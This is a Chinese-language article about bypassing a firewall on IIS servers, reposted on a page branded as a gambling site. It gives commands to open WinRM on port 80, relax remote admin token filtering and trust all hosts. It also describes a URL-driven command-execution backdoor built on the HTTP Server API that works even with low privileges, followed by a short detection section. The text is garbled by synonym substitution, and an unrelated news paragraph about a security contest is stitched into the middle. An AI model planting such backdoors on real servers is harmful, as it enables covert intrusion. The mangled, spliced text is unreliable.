应用IIS的端口同享功用绕过防火墙 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用IIS的端口同享功用绕过防火墙

申博_安全防护 申博 148次浏览 已收录 0个评论

0x00 媒介

我最近在思索如许一个题目:

Windows效劳器开启了IIS效劳,防火墙仅许可80或443端口举行通讯,那末如安在不运用webshell的前提下,完成对该效劳器的长途管理?更进一步,假如只要低权限,有无要领呢?

0x01 简介

本文将要引见以下内容:

· HTTP.sys和端口同享

· WinRM效劳

· HTTP Server API

· 针对80和443端口的应用要领

· 针对高权限和低权限的应用要领

· 检测要领

0x02 基本概念

1.HTTP.sys和端口同享

微软在Windows 2003 Server加入了内核驱动顺序(Http.sys),用于侦听http流量并依据URL举行处置惩罚,许可恣意用户历程同享专用于HTTP流量的TCP端口。

也就是说,经由过程HTTP.sys,多个历程将能够侦听统一端口上的HTTP流量。

能够运用Netsh敕令来查询和设置HTTP.sys设置和参数,参考材料以下:

https://docs.microsoft.com/en-us/windows/win32/http/netsh-commands-for-http

列出一切URL的DACL,敕令以下:

netsh http show urlacl

体系默许包括10个DACL,个中的两个对应WinRM效劳,详细信息以下:

    Reserved URL            : http://+:5985/wsman/
        User: NT SERVICE\WinRM
            Listen: Yes
            Delegate: No
        User: NT SERVICE\Wecsvc
            Listen: Yes
            Delegate: No
            SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

    Reserved URL            : https://+:5986/wsman/
        User: NT SERVICE\WinRM
            Listen: Yes
            Delegate: No
        User: NT SERVICE\Wecsvc
            Listen: Yes
            Delegate: No
            SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

5985对应http的端口,5986对应https的端口。

2.WinRM效劳

进修材料:

https://docs.microsoft.com/en-us/windows/win32/winrm/portal

全称Windows Remote Management,能够完成在长途主机上实行敕令。

3.HTTP Server API

进修材料:

https://docs.microsoft.com/en-us/windows/win32/http/http-api-start-page

HTTP Server API使应用顺序能够吸收定向到URL的HTTP要求并发送HTTP相应。

0x03 应用WinRM效劳完成端口复用

注:Twi1ight的文章已引见了这部分内容,谢谢他的分享,地点以下:

https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg

本节仅对此文章中的内容举行归结整顿并稍作补充。

Windows Server 2008默许封闭WinRM效劳,Windows Server 2012默许开启。

注:以下操纵须要取得管理员权限。

1.假如体系已开启WinRM效劳

(1)检察监听设置

winrm e winrm/config/listener

默许监听5985端口,为了不修正默许设置,这里须要新增80端口。

注:

检察WinRM设置的敕令以下:

winrm get winrm/config

(2)新增80端口

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

补充:

删除80端口的敕令以下:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"}

注:

假如未新增80端口,长途衔接须要指定5985端口,示例以下:

winrs -r:http://192.168.112.129:5985 -u:test -p:1234 "whoami"

(3)许可Administrators组中的一切帐户接见该效劳

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注:

假如不设置此项,长途衔接时只能运用内置管理员帐户Administrator。

2.假如体系未开启WinRM效劳

(1)运用默许设置开启并设置效劳

Winrm quickconfig -q

将自动实行以下操纵:

· 启动WinRM效劳,并将效劳启动范例设置为自动启动。

· 增加监听设置。

· 增加防火墙划定规矩。

(2)修正默许端口

开启效劳后,默许监听5985端口,为了更隐藏,这里须要将默许端口5985修正为80端口。

修正http默许端口为80:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

注:

复原http默许端口为5985的敕令以下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="5985"}

(3)许可Administrators组中的一切帐户接见该效劳

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注:

假如不设置此项,长途衔接时只能运用内置管理员帐户Administrator。

3.经由过程WinRM效劳衔接长途主机

当地体系须要运用同长途主机雷同的言语环境。

(1)当地体系开启WinRM效劳

Winrm quickconfig -q

(2)当地体系设置接见划定规矩,许可衔接一切主机

winrm set winrm/config/Client @{TrustedHosts="*"}

注:

删除该接见划定规矩的敕令以下:

winrm set winrm/config/Client @{TrustedHosts=""}

(3)衔接长途主机的敕令示例

假如为默许5985端口,敕令以下:

winrs -r:http://192.168.112.129:5985 -u:administrator -p:1234 "whoami"

假如为80端口,敕令以下:

winrs -r:http://192.168.112.129 -u:administrator -p:1234 "whoami"

0x04 应用HTTP Server API完成端口复用

1.示例代码测试

下载地点:

https://docs.microsoft.com/en-us/windows/win32/http/http-server-sample-application

代码支撑同时注册多个URL,处置惩罚要求,发送HTTP相应。

简朴测试以下:

效劳器IP为192.168.112.129

管理员权限实行:

http-server-sample-application.exe http://+:80/MyUri1 http://+:80/MyUri2

翻开浏览器离别接见http://192.168.112.129:80/MyUri1和http://192.168.112.129:80/MyUri2

吸收的效果以下图:

X-NUCA在BCS2019上正式开赛 32小时比拼20支参赛队杀入决赛

昨天,第四届全国高校网安联赛(简称X-NUCA2019)在2019北京网络安全大会(BCS2019)上举行启动仪式,并宣布正式开赛。 来自156所全国高校的236支团队,在8月23日14时30分—8月24日22时30分连续32个小时不间断,进行线上网络安全技能大比拼,获胜的20余支参赛队伍参加年底在深圳大学举办的总决赛。 中国科学院信息工程研究所所长孟丹、中国网络空间安全协会秘书长李欲晓、奇安信集团董事长齐向东、中国科学院大学网络空间安全学院副院长邹维、深圳大学信息中心副主任秦斌、北京永信至诚科技股份有限公司助力总裁郑斐斐等嘉宾出席X-NUCA2019启动仪式,并共同为大赛按下启动键。 作为面

应用IIS的端口同享功用绕过防火墙

示例代码经由过程API HttpAddUrl()将URL注册为Listen On,默许设置下,须要管理员权限才增加胜利,不然发生毛病:HttpAddUrl failed with 5,提醒权限不够。

但能够经由过程增加url acl(须要管理员权限)的体式格局完成普通用户权限下的一般运转。

2.经由过程增加url acl(须要管理员权限)的体式格局完成示例代码以普通用户权限运转

要领以下:

增加url acl,授与Everyone用户对指定URL的权限,敕令以下(管理员权限):

netsh http add urlacl url=http://+:80/MyUri user=everyone

注:

删除该url acl的敕令以下:

netsh http delete urlacl url=http://+:80/MyUri

再次实行测试顺序(普通用户权限),敕令以下:

http-server-sample-application.exe http://+:80/MyUri

实行胜利。

3.借助已有的url acl完成示例代码以普通用户权限运转

列出一切URL的DACL,敕令以下:

netsh http show urlacl

注意到默许设置下包括以下acl:

 Reserved URL            : http://+:80/Temporary_Listen_Addresses/
       User: \Everyone
           Listen: Yes
           Delegate: No
           SDDL: D:(A;;GX;;;WD)

User为Everyone,所以我们能够借助这个url。

实行示例顺序(普通用户权限),敕令以下:

http-server-sample-application.exe http://+:80/Temporary_Listen_Addresses/MyUri

实行胜利。

4.修正示例代码,完成敕令实行

思绪以下:

经由过程GET要求发送要实行的cmd敕令,花样为?<command>

比方:http://192.168.112.129/MyUri?whoami,要实行的敕令为whoami,在Response中复兴实行的效果

关于不符合花样的GET和POST要求,在Response中复兴404。

完成代码:

以示例顺序为模板,须要修正以下位置:

(1)运用?传入参数

pRequest->CookedUrl.pQueryString能够读取参数,但包括了无用的字符?,现实实行敕令时须要去掉pRequest->CookedUrl.pQueryString的第一个字符。

去掉pRequest->CookedUrl.pQueryString第一个字符的C代码以下:

WCHAR *QueryString = new WCHAR[pRequest->CookedUrl.QueryStringLength-1];
wcsncpy_s(QueryString, wcslen(QueryString), pRequest->CookedUrl.pQueryString + 1, wcslen(QueryString) - 1);
wprintf_s(L"%s\n", QueryString);

(2)特别字符的替代

· 空格被转码为%20

· “被转码为%22

· ‘被转码为%27

比方浏览器输入字符串whoami /all,会被转码为whoami%20/all,这条敕令没法直接在敕令行下实行。

复原URL编码的C代码已上传至github,地点以下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/UrlDecode.cpp

代码支撑多字节字符集和Unicode字符集。

(3)运用管道读入敕令并实行,回传效果

运用管道实行cmd敕令并猎取效果的代码已上传至github,地点以下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/UsePipeToExeCmd.cpp

(4)修正回传效果的花样

回传的效果须要作花样转换,\n换行符转换成html中的</br>,不然浏览器显现的内容没法换行。

将文本中的换行符(\n)转换成html中换行符(</br>)的代码已上传至github,地点以下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/TextToHtmlofNewline.cpp

终究完成的代码已上传至github,地点以下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp

只要输入特定花样的url能够实行敕令,不然提醒404。

以下图:

应用IIS的端口同享功用绕过防火墙

敕令实例:

http://192.168.112.129/MyUri?net%20start

以下图:

https协定也支撑,敕令实例:

https://192.168.112.129/MyUri?net%20start

以下图:

应用IIS的端口同享功用绕过防火墙

0x05 应用要领

Windows效劳器开启了IIS效劳,防火墙仅许可80或443端口举行通讯,在不运用webshell的前提下,完成对该效劳器长途管理的要领以下:

1.运用管理员权限

(1)运用WinRM效劳

须要开启WinRM效劳。

须要Administrators组中的帐户口令或hash。

(2)运用HTTP Server API

能够运用恣意url。

注:80和443端口都能够。

2.运用普通用户权限

(1)运用HTTP Server API

运用已有的url acl:http://+:80/Temporary_Listen_Addresses/

注:没法运用443端口。

0x06 检测要领

运用以下要领检测当前IIS效劳器的端口同享功用是不是被滥用。

1.检测正在运用的url

假如运用了HTTP Server API,顺序在运转时会注册url,检察敕令以下:

netsh http sh ser

可疑效果示例:

Server session ID: D000000020000174
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: AC0000004000017C
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://192.168.112.129:80:192.168.112.129/MYURI/

Server session ID: D000000020000173
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: AC0000004000017B
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTPS://192.168.112.129:443:192.168.112.129/MYURI/
                
Server session ID: D600000020000077
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: BF00000040000120
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://+:80/TEMPORARY_LISTEN_ADDRESSES/

2.检察WinRM效劳设置

假如攻击者取得了管理员权限,WinRM效劳设置有能够被滥用。

检察监听设置:

winrm e winrm/config/listener

检察是不是开启可疑端口。

0x07 小结

本文处理了以下题目:

Windows效劳器开启了IIS效劳,防火墙仅许可80或443端口举行通讯,那末如安在不运用webshell,而且只要普通用户权限,完成对该效劳器的长途管理?

处理要领:

运用代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp

运用已有的url acl,敕令参数以下:

HTTPServerWebshell.exe http://+:80/Temporary_Listen_Addresses/

原文地点: https://www.4hou.com/technology/19806.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用IIS的端口同享功用绕过防火墙
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址